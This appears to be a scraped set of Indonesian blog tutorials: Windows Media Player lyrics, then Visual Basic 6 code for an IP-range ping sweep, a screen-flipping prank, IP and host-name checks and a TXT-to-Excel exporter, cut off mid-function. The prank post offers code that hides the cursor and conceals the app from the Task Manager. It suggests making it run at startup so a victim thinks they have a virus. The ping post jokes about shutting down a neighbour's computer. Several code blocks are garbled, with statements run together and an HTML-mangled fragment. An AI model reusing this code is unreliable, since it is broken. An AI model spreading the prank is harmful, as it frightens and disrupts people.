cara menampilkan lirik di windows media player (Tanpa Plugin)

kalo kita sedang mendengarkan musik kurang lengkap rasanya jika kita tidak menirukan lirik lagu lagu yang kita putar. tapi masalahnya bagaimana jika kita tidak hafal atau lupa. pasti rasanya kita akan agak kecewa jika kita ingin menirukan liriknya tapi tidak bisa.
salah satu agar kita dapat menirukan liriknya dengan lancar yaitu dengan baca. oleh karena itu sangat gampang apabila lirik lagu yang kita putar langsung ada di windows media player yang kita buat untuk memutar mp3 lagu kesayangan kita. kali ini di sini akan memberikan cara untuk memasang lirik di file mp3. apabila kita memutarfile mp3 tersebut akan langsung tersedia teks liriknya di windows media player

memasang lirik pada file mp3


cara memasang liriknya sangat gampang......

1. cari file mp3 yang akan di pasang lirik
2. klik kanan pada file mp3 yang akan kita pasang lirik
3. klik properties
4. klik summary

5. pada bawah akan terdapat klik tombol "advanced"


6. cari lyrics
7. sebelah kanan lyrics terdapat kolom value, masukkan teks liriknya pada kolom value tersebut.

8. klik apply atau OK
9. jalankan file MP3 dengan windows media

setting windows media player untuk menampilkan lirik mp3



1. pada menu taks bar klik "play"
2. pada "Captions and Subtitles" pilih "on if available"
3. selamat menikmati (kayak roti ae dinikmati.... -->> maksude dinikmati lagune -->>).


Note:
saya tidak bertanggung jawab atas Hilangnya Dompet Pacar Anda
 

Cara Menampilkan Lirik lagu di WinAmp atau Windows Media Player

lirik lagulirik dari sebuah lagu yang sedang dimainkan di WinAmp atau Windows Media Player dapat otomatis ditampilkan, caranya tambahkan Lyrics Plugin ke WinAmp atau Windows Media Player anda.

Lyrics Plugin adalah software khusus untuk para penggemar musik. biasanya penggemar musik begitu dengar musiknya langsung mau nyanyi, ga tau lirik lagunya ? lihat di WinAmp atau Windows Media Player. tak perlu lagi mencari liriknya lagunya anda tinggal mainkan lagu favorit Anda WinAmp atau Windows Media Player dan lirik akan ditampilkan secara otomatis.

Lyrics Plugin untuk Winamp

download
Lyrics Plugin untuk Winamp
Lyrics Plugin Untuk Windows Media Player

download
Lyrics Plugin Untuk Windows Media Player
Jika lirik lagu yang anda putar tidak ada anda dapat menambahkannya dengan mudah.

Selamat mencoba
 

Cek IP Adress Orang Lain Aktif Atau Tidak

Untuk tulisan kali ini disajikan bagaimana cara pembuatan aplikasi yang berfungsi untuk mengetahui status aktif atau tidak akltif dari Komputer tetangga dengan melakukan pencarian IP Adress.Siapa tahu dengan kita mengetahui IP Adress komputer tetangga, kita dapat mencari file, melakukan Shutdown ataupun tujuan positif lainnya he..he..

Yang dibutuhkan dalam pembuatan aplikasi kali ini adalah :
- 1 listbox dengan properties name List1
- 2 textbox dengan propertie name Text1 dan Text2
- 2 commandbutton dengan properties name Command1 dan Command2
- 2 label dengan properties name label1, properties Caption="Cek IP Aktif dari" dan label2 dengan properties caption="Sampai"
Masukkan code di bawah ini pada form



Option Explicit
Const SOCKET_ERROR = 0
Private Declare Function GetHostByName Lib "wsock32.dll" Alias "gethostbyname" (ByVal HostName As String) As Long
Private Declare Function WSAStartup Lib "wsock32.dll" (ByVal wVersionRequired&, lpWSAdata As WSAdata) As Long
Private Declare Function WSACleanup Lib "wsock32.dll" () As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (hpvdest As Any, hpvSource As Any, ByVal cbCopy As Long)
Private Declare Function IcmpCreateFile Lib "icmp.dll" () As Long
Private Declare Function IcmpCloseHandle Lib "icmp.dll" (ByVal HANDLE As Long) As Boolean
Private Declare Function IcmpSendEcho Lib "ICMP" (ByVal IcmpHandle As Long, ByVal DestAddress As Long, ByVal RequestData As String, ByVal RequestSize As Integer, RequestOptns As IP_OPTION_INFORMATION, ReplyBuffer As IP_ECHO_REPLY, ByVal ReplySize As Long, ByVal TimeOut As Long) As Boolean

'type data tambahan
Private Type WSAdata
wVersion As Integer
wHighVersion As Integer
szDescription(0 To 255) As Byte
szSystemStatus(0 To 128) As Byte
iMaxSockets As Integer
iMaxUdpDg As Integer
ipVendorInfo As Long
End Type

Private Type Hostent
h_name As Long
h_aliases As Long
h_addrtype As Integer
h_length As Integer
h_addr_list As Long
End Type

Private Type IP_OPTION_INFORMATION
TTL As Byte
Tos As Byte
Flage As Byte
OptionsSize As Long
OptionsData As String * 128
End Type

Private Type IP_ECHO_REPLY
Address(0 To 3) As Byte
Status As Long
RoundTripTime As Long
DataSize As Integer
Reserved As Integer
data As Long
Options As IP_OPTION_INFORMATION
End Type

Public dir As String
Public Function doPing(ByVal HostName As String) As Boolean
Dim hFile As Long, lpWSAdata As WSAdata
Dim hHostent As Hostent, AddrList As Long
Dim Address As Long, rIP As String
Dim OptInfo As IP_OPTION_INFORMATION
Dim EchoReply As IP_ECHO_REPLY

Call WSAStartup(&H101, lpWSAdata)

If GetHostByName(HostName + String(64 - Len(HostName), 0)) <> SOCKET_ERROR Then
CopyMemory hHostent.h_name, ByVal GetHostByName(HostName + String(64 - Len(HostName), 0)), Len(hHostent)
CopyMemory AddrList, ByVal hHostent.h_addr_list, 4
CopyMemory Address, ByVal AddrList, 4
End If
hFile = IcmpCreateFile()

If hFile = 0 Then
MsgBox " Unable to create file handle", vbCritical + vbOKOnly
doPing = False
Exit Function
End If

OptInfo.TTL = 255
If IcmpSendEcho(hFile, Address, String(32, "A"), 32, OptInfo, EchoReply, Len(EchoReply) + 8, 2000) Then
rIP = CStr(EchoReply.Address(0)) + "." + CStr(EchoReply.Address(1)) + "." + CStr(EchoReply.Address(2)) + "." + CStr(EchoReply.Address(3))
Else
doPing = False
End If

If EchoReply.Status = 0 Then
doPing = True
Else
doPing = False
End If

Call IcmpCloseHandle(hFile)
Call WSACleanup
End Function 

Private Sub Command1_Click()
Dim i As Integer
Dim x, y
Dim result As Boolean
Dim resultString As String

If Trim(Text1) = "" Then
MsgBox "Isikan Alamat IP", vbCritical + vbOKOnly
Text1.SetFocus
Exit Sub
End If

If Trim(Text2) = "" Then
MsgBox "Isikan Batasan/Range Alamat IP", vbCritical + vbOKOnly
Text2.SetFocus
Exit Sub
End If
List1.Clear
x = Split(Text1.Text, ".")
y = Split(Text2.Text, ".")
For i = CInt(x(3)) To CInt(y(3))
dir = x(0) & "." & x(1) & "." & x(2) & "." & i
result = doPing(dir)
If result = True Then
resultString = "Aktif"
Else
resultString = "NonAktif"
End If
List1.AddItem "Pinging " & dir & "..." & resultString
List1.Refresh
Next
End Sub 

Private Sub Command2_Click()
List1.Clear
Text1.Text = ""
Text2.Text = ""
List1.Refresh
End Sub

Terimakasih, semoga bermanfaat.
 Download Cek IP Aktif
 

Membuat Aplikasi Edit Registry (150 lebih Tip dan Trik Registry Terintegrasi didalamnya)

Kita akan mencoba membuat aplikasi Edit Registry yang memiliki kemampuan untuk membuka key, membuat key, hapus key dan value, membaca Value Data dengan Tipe RG_SZ, melakukan seting Value kedalam Tipe Value REG_DWORD, REG_SZ DAN REG_BINARY. Ditambah adanya tutorial tip dan trik registry lebih dari 150 tip trik yang terintegrasi didalam aplikasi sehingga dapat langsung dipraktekan.Yang dibutuhkan pada pembuatan aplikasi ini tidak beda dengan aplikasi standar, yaitu textbox, label, commandbutton, checkbox, optionbutton, listbox, image, timer. Lebih jelasnya dapat dilihat pada gambar di bawah ini.


 Ini linknya Edit Registry
Semoga bermanfaat.
 

Putar Layar Monitor Secara Flip/Terbalik

Sekarang kita akan mencoba membuat program yang agak usil yaitu program yang membuat user keheranan atau malah takut karena program ini akan membuat layar terbalik dan mouse akan menghilang. List di task manager pada tab application juga tidak menunjukan adanya suatu program yang berjalan, kombinasi Alt+Tab dan Alt+F4 juga tidak menyelesaikan masalah, pasti user akan semakin bingung or ketakutan.Jika ditambahi sedikit code registry yang akan membuat program berjalan pada saat windows hidup/startup mungkin akan membuat teman anda atau malah saingan anda menginstal ulang komputernya karena dikira kerjaan virus he..he.., selamat ber-iseng ria. Untuk menormalkan kembali tekan huruf N pada keyboard maka semua akan kembali Normal.Semoga bermanfaat.Program ini merupakan saduran dari buku "Eksplorasi Win32-API dengan Visual Basic" Karya Johan Saputra, terimakasih saya ucapkan pada Mas Johan Saputra, karena tulisan di blog ini sebagian besar yang menyangkut dengan Win32-API merupakan hasil dari pemikiran Mas, yang ada di dalam buku tersebut.


Masukan semua Kode dibawah ini pada form

Private Declare Function GetDC Lib "user32" (ByVal hWND As Long) As Long
Private Declare Function StretchBlt Lib "gdi32" (ByVal hdc As Long, ByVal X As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal nSrcWidth As Long, ByVal nSrcHeight As Long, ByVal dwRop As Long) As Long
Private Declare Function SetWindowPos Lib "user32" (ByVal hWND As Long, ByVal hWndInsertAfter_ As Long, ByVal X As Long, ByVal y_ As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags_ As Long) As Long
Private Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As Long

'Nilai konstan untuk parameter SetWindowPos.
Private Const conHwndTopmost = -1
Private Const conHwndNoTopmost = -2
Private Const conSwpNoActivate = &H10
Private Const conSwpShowWindow = &H40 

Private Sub Form_Load()
Me.AutoRedraw = True 'memastikan Form bisa menampung hasil copy layar.
Me.WindowState = 2 'Maximize.
SelaluTeratas Me.hWND, Me.Left / Screen.TwipsPerPixelX, Me.Top / Screen.TwipsPerPixelY, Me.Height / Screen.TwipsPerPixelY, Me.Width / Screen.TwipsPerPixelX, True
App.TaskVisible = False 'menyembunyikan aplikasi pada task manager (tab Application) tetapi terlihat di tab Process
ShowCursor False 'Sembunyikan cursor.
End Sub 

'Saat Form berubah ukuran (maximize).
Private Sub Form_Resize()
Dim W, H 'Tipe variant.
'Set ukuran rectangle screen.
W = Screen.Width / 15
H = Screen.Height / 15
'kopian layar diambil dan di tampilkan pada Form secara Flip
StretchBlt Me.hdc, 0, H, W, -H, GetDC(0&), 0, 0, W, H, vbSrcCopy
End Sub 

'Fungsi buatan.
Private Function SelaluTeratas(ByVal hWND, FrmX As Long, FrmY As Long, Tinggi As Long, Lebar As Long, ApakahTeratas As Boolean)
If ApakahTeratas = True Then

SetWindowPos hWND, conHwndTopmost, FrmX, FrmY, Lebar, Tinggi, conSwpNoActivate

ElseIf ApakahTeratas = False Then

SetWindowPos hWND, conHwndNoTopmost, FrmX, FrmY, Lebar, Tinggi, conSwpShowWindow
End If

End Function 


'Fungsi buatan untuk Normalisasi seperti keadaan semula.
Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)

If KeyCode = vbKeyN Then 'Jika tombol "N" keyboard ditekan.
ShowCursor True
End
End If
End Sub


Semoga bermanfaat.
Download Mal Fungsi Screen
 

Cek Koneksi Internat (On/Off), Cek IP Adress, Cek Hostname Dengan Visual Basic 6.0

Sekarang kita mencoba membuat aplikasi yang berfungsi untuk mengetahui Status Kmputer terhubung dengan Internet atau tidak, Mengetahui IP Adress saat tidak terhubung dengan internet dan IP Adress saat terhubung dengan Internet Serta mengetahui IP Host Name. Untuk Lebih jelasnya dapat anda perhatikan kedua gambar di bawah ini yaitu Gambar aplikasi saat komputer tidak terhubung dengan internet (IP Adress otomatis 127.0.0.1) dan Gambar aplikasi saat terhubung dengan internet maka IP Adress komputer berubah menjadi 10.242.39.122 dan pada waktu yang lain ternyata IP Adress komputer berubah kembali menjadi






Berikut ini adalah Source codenya. Langsung saja yang dibutuhkan dalam pembuatan aplikasi ini adalah :
- 2 label dengan property name LblCekMyIP1 dan LblCekMyIP2

- 1 timer dengan property name Timer1, iNTERVAL = 1000

- Winsock1, untuk menambahkan Winsock1 pada toolbox maka dengan cara klik kanan pada toolbox pilih component dan centang microsoft winsock control 6.0

- status bar dengan property name SB, untuk menambahkan status bar pada toolbox caranya sama dengan winsock tetapi pilih windows common controls 6.0(sp6) Kemudian setelah status bar ditambahkan dalam form maka klik kanan status bar tersebut pilih property dan pada tab panel pilih angka 2 pada textbox Autosize.

- 1 modul untuk source code cek koneksi internet dan ip adress/Host name- 1 form

Semoga bermanfaat, terimakasih.
========================================

'COPY PASTEKAN KODE DI BAWAH INI PADA FORM

========================================

Private Sub Form_Load()

Timer1.Enabled = True

LblCekMyIP1 = "IP Host Name: " & GetIPHostName

LblCekMyIP2 = "IP Address: " & GetIPAddress()

End Sub

Private Sub Timer1_Timer()

If InternetGetConnectedState(0&, 0&) = 1 Then

SB.Panels(1).Text = "Status: Terhubung dengan Internet"

Else

SB.Panels(1).Text = "Status: Tidak terhubung dengan Internet"

End If

End Sub

=============================

Letakkan code di bawah Ini pada Modul

=============================

'cek koneksi internet

Public Declare Function Internet

GetConnectedState Lib "wininet.dll" (ByRef lpdwFlags As Long, ByVal dwReserved As Long) As Long

'---------CEK IP Adress komputer dan HOST NAME-----

Public Const MAX_WSADescription = 256Public Const MAX_WSASYSStatus = 128'

Public Const ERROR_SUCCESS As Long = 0

Public Const WS_VERSION_REQD As Long = &H101

Public Const WS_VERSION_MAJOR As Long = WS_VERSION_REQD \ &H100 And &HFF&

Public Const WS_VERSION_MINOR As Long = WS_VERSION_REQD And &HFF&

Public Const MIN_SOCKETS_REQD As Long = 1Public Const SOCKET_ERROR As Long = -1

Public Type HostenthName As LonghAliases As LonghAddrType As IntegerhLen As IntegerhAddrList As Long

End Type

Public Type WSADATAwversion As IntegerwHighVersion As IntegerszDescription(0 To MAX_WSADescription) As ByteszSystemStatus(0 To MAX_WSASYSStatus) As BytewMaxSockets As IntegerwMaxUDPDG As IntegerdwVendorInfo As Long

End Type

Public Declare Function WSAGetlastError Lib "wsock32.dll" () As Long

Public Declare Function WSAStartup Lib "wsock32.dll" (ByVal wVersionRequired As Long, lpWSAdata As WSADATA) As Long

Public Declare Function WSACleanup Lib "wsock32.dll" () As Long

Public Declare Function gethostname Lib "wsock32.dll" (ByVal szHost As String, ByVal dwHostLen As Long) As Long

Public Declare Function GetHostByName Lib "wsock32.dll" Alias "gethostbyname" (ByVal szHost As String) As Long

Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (hpvdest As Any, ByVal hpvSource As Long, ByVal cbCopy As Long)

Public Function GetIPAddress() As String

Dim sHostName As String * 256

Dim lpHost As Long

Dim HOST As Hostent

Dim dwIPAddr As Long

Dim tmpIPAddr() As Byte

Dim i As Integer

Dim sIPAddr As String

If Not SocketsInitialize() Then

GetIPAddress = ""

Exit Function

End If

If gethostname(sHostName, 256) = SOCKET_ERROR Then

GetIPAddress = ""MsgBox "Windows Sockets Error " & Str$(WSAGetlastError()) & " has occurred. Host Name tidak dapat ditampilkan."SocketsCleanup

Exit Function

End If

sHostName = Trim$(sHostName)

lpHost = GetHostByName(sHostName)

If lpHost = 0 Then

GetIPAddress = "" MsgBox "Socket Windows tidak memberikan respon. " & "Host Name tidak dapat ditampilkan." SocketsCleanup

Exit Function

End If

CopyMemory HOST, lpHost, Len(HOST)CopyMemory dwIPAddr, HOST.hAddrList, 4ReDim tmpIPAddr(1 To HOST.hLen)CopyMemory tmpIPAddr(1), dwIPAddr, HOST.hLenFor i = 1 To HOST.hLensIPAddr = sIPAddr & tmpIPAddr(i) & "."NextGetIPAddress = Mid$(sIPAddr, 1, Len(sIPAddr) - 1)SocketsCleanup

End Function

Public Function GetIPHostName() As StringDim sHostName As String * 256If Not SocketsInitialize() ThenGetIPHostName = ""

Exit Function

End If

If gethostname(sHostName, 256) = SOCKET_ERROR ThenGetIPHostName = ""MsgBox "Windows Sockets Error " & Str$(WSAGetlastError()) & " has occurred. Host Name tidak dapat ditampilkan."SocketsCleanup

Exit Function

End IfGetIPHostName = Left$(sHostName, InStr(sHostName, Chr(0)) - 1)SocketsCleanup

End Function

Public Function HiByte(ByVal wParam As Integer)HiByte = wParam \ &H100 And &HFF&

End Function

Public Function LoByte(ByVal wParam As Integer)LoByte = wParam And &HFF&

End Function

Public Sub SocketsCleanup() If WSACleanup() <> error_success_ Then MsgBox " Socket Error terjadi dalam CleanUp."

End If

End Sub

Public Function SocketsInitialize() As Boolean

Dim WSAD As WSADATA

Dim sLoByte As String

Dim sHiByte As StringIf WSAStartup(WS_VERSION_REQD, WSAD) <> ERROR_SUCCESS ThenMsgBox "Socket Windows 32-bit tidak respon"SocketsInitialize = False

Exit Function

End If

If WSAD.wMaxSockets = MIN_SOCKETS_REQD Then MsgBox "Aplikasi ini membutuhkan minimum " & CStr(MIN_SOCKETS_REQD) & " Socket yang support." SocketsInitialize = False

Exit Function

End If

If LoByte(WSAD.wversion) < shibyte =" CStr(HiByte(WSAD.wversion))" slobyte =" CStr(LoByte(WSAD.wversion))MsgBox" socketsinitialize =" False">
Exit Function
End If SocketsInitialize = True
End Function
Semoga bermanfaat.
 

Ekspor Txt ke Excel Dengan Visual Basic

Hallo-hallo, sudah lama ngga ngisi blog ini, semoga teman semua tidak pada bosen dan semoga tambah pinter pemrograman VBnya. Untuk posting kali ini saya mencoba memenuhi permintaan salah satu pengunjung mengenai peng-Eksporan data dari format .txt diekspor ke format excel.



[Image]
[Image]

Langsung saja yang dibutuhkan dalam pembuatan aplikasi ini adalah ListView untuk menampung data dari file data.txt, 1 Commandbutton untuk melihat dan sekaligus menyimpan file dalam format xls ataupun txt, dan combo box untuk menampung pilihan format yang ingin dilihat yaitu .txt atau .xls, Agar lebih jelas lagi lihat gambar di atas. Tanpa basa-basi silahkan dipelajari code-code dibawah ini.

Masukan code dibawah ini pada form
Option Explicit
Public Enum DataSiswa
Nama = 1
Kelas
JenisKelamin
NIS
Alamat
Tempatlahir
TanggalLahir
End Enum

Private Const SE_ERR_NOASSOC = 31
Private Declare Function timeGetTime Lib "winmm.dll" () As Long
Private Declare Function GetDesktopWindow Lib "user32" () As Long
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hWnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long


Private Sub LoadHeader()
On Error GoTo Salah

'mengeset columnheaders
With lvwDataSiswa

.ColumnHeaders.Add , "Nama", "Nama"
.ColumnHeaders.Add , "Kelas", "Kelas"
.ColumnHeaders.Add , "JenisKelamin", "JK"
.ColumnHeaders.Add , "NIS", "NIS"
.ColumnHeaders.Add , "Alamat", "Alamat"
.ColumnHeaders.Add , "Tempatlahir", "Lahir"
.ColumnHeaders.Add , "TanggalLahir", "Tanggal Lahir"


'Nama
.ColumnHeaders.Item(DataSiswa.Nama).Width = 2500
.ColumnHeaders.Item(DataSiswa.Nama).Alignment = lvwColumnLeft
'Kelas
.ColumnHeaders.Item(DataSiswa.Kelas).Width = 700
.ColumnHeaders.Item(DataSiswa.Kelas).Alignment = lvwColumnLeft
'JenisKelamin
.ColumnHeaders.Item(DataSiswa.JenisKelamin).Width = 500
.ColumnHeaders.Item(DataSiswa.JenisKelamin).Alignment = lvwColumnLeft
'NIS
.ColumnHeaders.Item(DataSiswa.NIS).Width = 700
.ColumnHeaders.Item(DataSiswa.NIS).Alignment = lvwColumnLeft
'Alamat
.ColumnHeaders.Item(DataSiswa.Alamat).Width = 2500
.ColumnHeaders.Item(DataSiswa.Alamat).Alignment = lvwColumnLeft
'Tempatlahir
.ColumnHeaders.Item(DataSiswa.Tempatlahir).Width = 1000
.ColumnHeaders.Item(DataSiswa.Tempatlahir).Alignment = lvwColumnLeft
'TanggalLahir
.ColumnHeaders.Item(DataSiswa.TanggalLahir).Width = 1200
.ColumnHeaders.Item(DataSiswa.TanggalLahir).Alignment = lvwColumnLeft
End With


Exit Sub
Salah:
MsgBox Err.Number & vbCrLf & Err.Description
End Sub

Private Sub CmdView_Click()

ShowItemList lvwDataSiswa, 100, "Data Siswa", , True, cboExt.Text

End Sub

Private Sub Form_Load()
LoadHeader
PopulateLvw
cboExt.ListIndex = 0
End Sub

Private Sub PopulateLvw()
On Error GoTo Salah
Dim Item As ListItem
Dim sData As String
Dim saryData() As String
Dim lCount As Long
Dim saryColData() As String
Dim lColPos As Long

sData = GetFileData(App.Path & "\Data.txt")

saryData() = Split(sData, vbCrLf)

'menghilangkan Header Name yang pertama pada data.txt
For lCount = LBound(saryData, 1) + 1 To UBound(saryData, 1)
If saryData(lCount) = vbNullString Then
Exit For
End If
saryColData() = Split(saryData(lCount), vbTab)

Set Item = lvwDataSiswa.ListItems.Add(, , saryColData(DataSiswa.Nama - 1))
'Kelas
Item.SubItems(DataSiswa.Kelas - 1) = saryColData(DataSiswa.Kelas - 1)
'JenisKelamin
Item.SubItems(DataSiswa.JenisKelamin - 1) = saryColData(DataSiswa.JenisKelamin - 1)
'NIS
Item.SubItems(DataSiswa.NIS - 1) = saryColData(DataSiswa.NIS - 1)
'Alamat
Item.SubItems(DataSiswa.Alamat - 1) = saryColData(DataSiswa.Alamat - 1)
'Tempatlahir
Item.SubItems(DataSiswa.Tempatlahir - 1) = saryColData(DataSiswa.Tempatlahir - 1)
'TanggalLahir
Item.SubItems(DataSiswa.TanggalLahir - 1) = saryColData(DataSiswa.TanggalLahir - 1)
Item.Selected = False
Next

Exit Sub
Salah:
MsgBox Err.Number & vbCrLf & Err.Description
End Sub

Private Sub ShowItemList(poLstView As Object, _
Optional plMaxColLen As Long = 100, _
Optional psOutPutName As String = vbNullString, _
Optional psOutPutPath As String = vbNullString, _
Optional pbUseTempPrefix As Boolean = False, _
Optional psExt As String)
On Error GoTo Salah
'Error
Dim lRet As Long
Dim lErrNum As Long
Dim sErrDesc As String
'File names
Dim sFileName As String
Dim sFullPathName As String
Dim sTempDir As String
Dim sExt As String
Dim bValidExt As Boolean
Dim bDelAppApthFile As Boolean
'Objects
Dim Item As ListItem
Dim oLstView As ListView
'Build Print Data
Dim lColPos As Long
Dim lFillLen As Long
Dim aryColMaxLen() As Long
Dim sHeader As String
Dim sData As String
Dim sTemp As String


'Set nama file menggunakan ekstensi .txt atau .xls
'hanya Support .txt dan .xls
If psExt = vbNullString Then
psExt = ".txt"
Else
sExt = psExt
End If

'mengecek validnya ekstensi
If StrComp(sExt, ".txt", vbTextCompare) = 0 Then
bValidExt = True
End If

If StrComp(sExt, ".xls", vbTextCompare) = 0 Then
bValidExt = True
End If

If Not bValidExt Then
Exit Sub
End If

'mengeset List View Object
Set oLstView = poLstView

If psOutPutName = vbNullString Then
sFileName = "Daftar Item" & sExt
Else
If pbUseTempPrefix Then
sFileName = psOutPutName & sExt
Else
sFileName = psOutPutName & sExt
End If
End If

'mengeset Output path
If psOutPutPath = vbNullString Then
sTempDir = App.Path & "\"
Else
sTempDir = psOutPutPath
End If

sFullPathName = sTempDir & sFileName

If Not utFileExists(sTempDir, True) Then
bDelAppApthFile = True
sTempDir = App.Path & "\"
End If

'menyusun Data
Screen.MousePointer = VBRUN.MousePointerConstants.vbHourglass

'1. menyusun Header
ReDim aryColMaxLen(1 To oLstView.ColumnHeaders.Count)
For lColPos = 1 To oLstView.ColumnHeaders.Count
If oLstView.ColumnHeaders(lColPos).Width > 0 Then
If StrComp(sExt, ".txt", vbTextCompare) = 0 Then
aryColMaxLen(lColPos) = GetMaxLenthForCol(oLstView, lColPos)
End If
sTemp = oLstView.ColumnHeaders(lColPos).Text
sTemp = "[" & sTemp & "]" 'wrap the col name
If StrComp(sExt, ".txt", vbTextCompare) = 0 Then
If aryColMaxLen(lColPos) < Len(sTemp) Then aryColMaxLen(lColPos) = Len(sTemp) End If lFillLen = aryColMaxLen(lColPos) lFillLen = (lFillLen - Len(sTemp)) If lFillLen > 0 Then
sTemp = sTemp & String(lFillLen, Chr(32))
End If
End If
'tambahkan ke header
sHeader = sHeader & sTemp & vbTab
End If
Next
If sHeader <> vbNullString Then
'menambahkan spasi pada header
sHeader = sHeader & vbCrLf
End If

'Set Header ke Data
sData = sHeader

'2. menyusun isi
For Each Item In oLstView.ListItems
For lColPos = 1 To oLstView.ColumnHeaders.Count
If oLstView.ColumnHeaders(lColPos).Width > 0 Then
If lColPos = 1 Then
sTemp = Item.Text
Else
sTemp = Item.ListSubItems(lColPos - 1).Text
End If
'dibutuhkan untuk membersihkan banyaknya enter pada data
'Replace with 2 spaces
sTemp = Replace(sTemp, vbCrLf, String(2, Chr(32)))
'tidak memiliki banyak extra tab,
sTemp = Replace(sTemp, vbTab, " ")
'tambah 3 account untuk "..."
If Len(sTemp) > (plMaxColLen + 3) Then
sTemp = Left(sTemp, plMaxColLen) & "..."
End If
'Hanya dibutuhkan untuk mendapatkan banyaknya Len pada format .txt
If StrComp(sExt, ".txt", vbTextCompare) = 0 Then
lFillLen = aryColMaxLen(lColPos)
lFillLen = lFillLen - Len(sTemp)
If lFillLen > 0 Then
sTemp = sTemp & String(lFillLen, Chr(32))
End If
End If
sData = sData & sTemp & vbTab
End If
Next
sData = sData & vbCrLf
Next


'Simpan ke temp directory
SaveFileData sFullPathName, sData

If utFileExists(sFullPathName) Then
lRet = utShellExecute(GetDesktopWindow, "OPEN", sFullPathName, vbNullString, App.Path, vbNormalFocus, False, False, True)
End If

Screen.MousePointer = VBRUN.MousePointerConstants.vbDefault

Set oLstView = Nothing
Set Item = Nothing
Exit Sub
Salah:
lErrNum = Err.Number
sErrDesc = Err.Description
Screen.MousePointer = VBRUN.MousePointerConstants.vbDefault
Err.Raise lErrNum, , sErrDesc & vbCrLf & "Private Sub ShowItemList"
End Sub

Private Function GetMaxLenthForCol(poLstView As Object, _
lColPos As Long, _
Optional plMaxColLen As Long = 100) As Long
On Error GoTo Salah
Dim lErrNum As Long
Dim sErrDesc As String
Dim Item As ListItem
Dim oLstView As ListView
Dim sTemp As String
Dim lThisLen As Long
Dim lLen As Long

Set oLstView = poLstView

For Each Item In oLstView.ListItems
If lColPos = 1 Then
sTemp = Item.Text
Else
sTemp = Item.ListSubItems(lColPos - 1).Text
End If
lThisLen = Len(sTemp)
If lThisLen > lLen Then
lLen = lThisLen
End If
Next

If lLen > plMaxColLen Then
' Tambahkan maksimal 3 Length untuk account "..."
lLen = plMaxColLen + 3
End If

GetMaxLenthForCol = lLen

Set Item = Nothing
Set oLstView = Nothing

Exit Function
Salah:
lErrNum = Err.Number
sErrDesc = Err.Description
Screen.MousePointer = VBRUN.MousePointerConstants.vbDefault
MsgBox lErrNum & vbCrLf & sErrDesc
End Function


Public Function utFileExists(strFile As String, Optional pbDirOnly As Boolean) As Boolean
On Error GoTo Salah
Dim FSO As Scripting.FileSystemObject

Set FSO = New Scripting.FileSystemObject


If strFile <> vbNullString Then
If Not pbDirOnly Then
utFileExists = FSO.FileExists(strFile)
Else
utFileExists = FSO.FolderExists(strFile)
End If
End If

Set FSO = Nothing

Exit Function
Salah:
Set FSO = Nothing
utFileExists = False
End Function

Public Sub SaveFileData(psFilePath As String, psFileData As String, Optional psDelimeter As String, Optional pbLock As Boolean = False, Optional piFFile As Integer)
On Error GoTo Salah
Dim lMyFileLen As Long
Dim iFFile As Integer
Dim lErrNum As Long
Dim sErrDesc As String


iFFile = FreeFile
piFFile = iFFile
Open psFilePath For Binary Access Write As #iFFile
Put #iFFile, 1, psFileData & psDelimeter
If Not pbLock Then
Close #iFFile
End If
Exit Sub
Salah:
lErrNum = Err.Number
sErrDesc = Err.Description
Close #iFFile
Err.Raise lErrNum, , App.EXEName & vbCrLf & "Public Sub SaveFileData" & vbCrLf & "Error # " & lErrNum & vbCrLf & sErrDesc & vbCrLf
End Sub

Public Function GetFileData(psFilePath As String, Optional pbLock As Boolean = False, Optional piFFile As Integer, Optional pbSkipMess As Boolean = True) As String
On Error GoTo Salah
Dim lMyFileLen As Long
Dim iFFile As Integer

iFFile = FreeFile
piFFile = iFFile
If pbLock Then
Open psFilePath For Binary Access Read Lock Read As #iFFile
Else
Open psFilePath For Binary Access Read As #iFFile
End If
lMyFileLen = FileLen(psFilePath) + 2
GetFileData = Input(lMyFileLen, #iFFile)
If Not pbLock Then
Close #iFFile
End If

Exit Function
Salah:
Close #iFFile
If Not pbSkipMess Then
If MsgBox("Tidak Dapat Membaca File... " & vbCrLf & psFilePath & vbCrLf & "(" & Err.Description & ")" & vbCrLf & vbCrLf & _
"Jaringan atau File Sedang Sibuk." & vbCrLf & "Tekan ""Yes"" untuk mencoba lagi." & vbCrLf & "Tekan ""No"" untuk menghentikan proses", vbYesNo, "File Sibuk") = vbYes Then
Resume
End If
End If

End Function

Public Function utShellExecute(Optional plHwnd As Long = -1, _
Optional pslpOperation As String = "OPEN", _
Optional pslpFile As String, _
Optional pslpParameters As String = vbNullString, _
Optional pslpDirectory As String = "App.Path", _
Optional plnShowCmd As VBA.VbAppWinStyle = vbNormalFocus, _
Optional pbUseTimeStampFileName As Boolean = False, _
Optional pbShowMessage As Boolean = False, _
Optional psTempFileCaption As String) As Boolean
On Error GoTo Salah
Dim lHwnd As Long
Dim slpOperation As String
Dim slpFile As String
Dim slpParameters As String
Dim slpDirectory As String
Dim lnShowCmd As VBA.VbAppWinStyle
Dim sErrorMess As String
Dim sTmpExt As String
Dim sTmpFile As String
Dim lRet As Long
Dim sDir As String
Dim lErrNum As Long
Dim sErrDesc As String

utShellExecute = False

'mendapatkan info dari Parameter
If plHwnd = -1 Then
lHwnd = GetDesktopWindow
End If
slpOperation = pslpOperation
If pslpFile = vbNullString Then
Exit Function
Else
slpFile = pslpFile
End If

slpParameters = pslpParameters
If pslpDirectory = "App.Path" Then
slpDirectory = App.Path
Else
slpDirectory = pslpDirectory
End If

lnShowCmd = plnShowCmd

'Jika file tdk ada kemudian keluar
If utFileExists(slpFile) Or InStr(1, slpFile, "MAPIMAIL", vbTextCompare) > 0 Then
sTmpFile = slpFile
lRet = ShellExecute(lHwnd, slpOperation, sTmpFile, slpParameters, slpDirectory, lnShowCmd)
If lRet = SE_ERR_NOASSOC Then
